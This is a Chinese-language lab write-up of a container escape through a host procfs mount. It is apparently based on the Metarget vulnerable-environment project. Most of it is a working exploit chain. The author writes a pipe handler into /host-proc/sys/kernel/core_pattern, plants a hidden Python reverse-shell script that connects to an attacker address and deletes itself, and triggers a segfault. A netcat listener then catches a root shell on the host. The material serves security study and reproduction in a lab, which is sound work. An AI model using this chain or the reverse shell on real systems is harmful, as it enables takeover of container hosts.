容器逃逸 - 危险挂载 【背景介绍】
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
一般来说,我们不会将宿主机的procfs挂载到容器中。然而,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来。
procfs中的
<font style="color:rgba(0, 0, 0, 0.9);">/proc/sys/kernel/core_pattern</font>
负责配置进程崩溃时内存转储数据的导出方式。从手册中我们能获得关于内存转储的详细信息,关键信息如下:
从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行
【环境搭建】- 基础环境准备,任意版本的docker
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
- 漏洞环境搭建
【漏洞复现】
root@zyliang:~/metarget# ./metarget cnv install mount-host-procfs
docker already installed
kubernetes already installed
mount-host-procfs is going to be installed
applying yamls/k8s_metarget_namespace.yaml
applying vulns_cn/mounts/pods/mount-host-procfs.yaml
mount-host-procfs successfully installed
root@zyliang:~/metarget# kubectl get pod -n metarget
NAME READY STATUS RESTARTS AGE
mount-host-procfs 1/1 Running 0 10s
# 宿主机的procfs在容器内部的挂载路径是/host-proc
root@zyliang:~/metarget# kubectl get pod -n metarget mount-host-procfs -o yaml | grep proc
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"mount-host-procfs","namespace":"metarget"},"spec":{"containers":[{"args":["while true; do sleep 30; done;"],"command":["/bin/bash","-c","--"],"image":"ubuntu:latest","imagePullPolicy":"IfNotPresent","name":"ubuntu","volumeMounts":[{"mountPath":"/host-proc","name":"host-procfs"}]}],"volumes":[{"hostPath":{"path":"/proc"},"name":"host-procfs"}]}}
name: mount-host-procfs
selfLink: /api/v1/namespaces/metarget/pods/mount-host-procfs
- mountPath: /host-proc
name: host-procfs
path: /proc
name: host-procfs
- 进入容器
root@zyliang:~/metarget# kubectl get pod -n metarget
NAME READY STATUS RESTARTS AGE
mount-host-procfs 1/1 Running 0 12m
root@zyliang:~/metarget# kubectl exec -it -n metarget mount-host-procfs /bin/bash
root@mount-host-procfs:/# ls
bin boot dev etc home host-proc lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
- 在容器中,拿到当前容器在宿主机的绝对路径
root@mount-host-procfs:/# cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O7P7Z5RVP2AMZNGT3ZICVUR7LK:/var/lib/docker/overlay2/l/KRI4QEH456ZEKL6ESM5TEX6YFE,upperdir=/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/diff,workdir=/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/work 0 0
- 从workdir可以得到基础路径,当前容器在宿主机上的merged目录绝对路径:
docker镜像利用overlayfs文件系统,可参考如下:
root@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged# pwd
/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged
root@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged# ls
bin boot dev etc home host-proc lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
root@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged#
- 向容器内/host-proc/sys/kernel/core_pattern内写入以下内容:
echo -e "|/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
- 容器内创建一个反弹shell的/tmp/.x.py,lhost和lport为攻击者ip+port:
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "10.160.35.200"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
- 编译一个可以运行崩溃的程序,放在容器内运行
root@zyliang:~/mount# cat pro.c
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
root@zyliang:~/mount# gcc -o crash pro.c
root@zyliang:~/mount# ls
crash pro.c
root@zyliang:~/mount#
root@zyliang:~/mount# docker ps | grep procfs
1f21b8c613d5 ba6acccedd29 "/bin/bash -c -- 'wh…" 31 minutes ago Up 31 minutes k8s_ubuntu_mount-host-procfs_metarget_0c64df69-a9b3-447e-8286-879b65849696_0
eaa6db463eea k8s.gcr.io/pause:3.1 "/pause" 31 minutes ago Up 31 minutes k8s_POD_mount-host-procfs_metarget_0c64df69-a9b3-447e-8286-879b65849696_0
root@zyliang:~/mount# docker cp crash 1f21b8c613d5:/
Successfully copied 9.73kB to 1f21b8c613d5:/
- 攻击者监听shell端口
root@master:~# ifconfig ens160
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.160.35.200 netmask 255.255.255.0 broadcast 10.160.35.255
inet6 fe80::250:56ff:fead:4476 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:ad:44:76 txqueuelen 1000 (Ethernet)
RX packets 35237991 bytes 4422643553 (4.4 GB)
RX errors 0 dropped 71 overruns 0 frame 0
TX packets 34973972 bytes 21075380437 (21.0 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@master:~# nc -vnl 10000
Listening on [0.0.0.0] (family 0, port 10000)
- 容器内执行crash程序
root@mount-host-procfs:/# ls
bin boot core crash dev etc home host-proc lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
root@mount-host-procfs:/# ./crash
Segmentation fault (core dumped)
- 攻击者接收到容器所在主机的反弹shell,成功逃逸
【参考链接】
root@master:~# nc -vnl 10000
Listening on [0.0.0.0] (family 0, port 10000)
Connection from 10.160.36.203 53352 received!
root@zyliang:/# ifconfig
ifconfig
br-39727c7d519e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
inet6 fe80::42:e6ff:fe3c:bab4 prefixlen 64 scopeid 0x20<link>
ether 02:42:e6:3c:ba:b4 txqueuelen 0 (Ethernet)
RX packets 3 bytes 116 (116.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 13 bytes 1014 (1.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
cni0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450
inet 10.244.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::70ed:64ff:fe65:fcda prefixlen 64 scopeid 0x20<link>
ether 72:ed:64:65:fc:da txqueuelen 1000 (Ethernet)
RX packets 994245 bytes 67813573 (67.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1013792 bytes 299932838 (299.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:f7:00:90:09 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5 bytes 438 (438.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.160.36.203 netmask 255.255.255.0 broadcast 10.160.36.255
inet6 fe80::250:56ff:fead:54b prefixlen 64 scopeid 0x20<link>
ether 00:50:56:ad:05:4b txqueuelen 1000 (Ethernet)
RX packets 931617 bytes 857731156 (857.7 MB)
RX errors 0 dropped 48 overruns 0 frame 0
TX packets 628746 bytes 60162270 (60.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Reference:https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs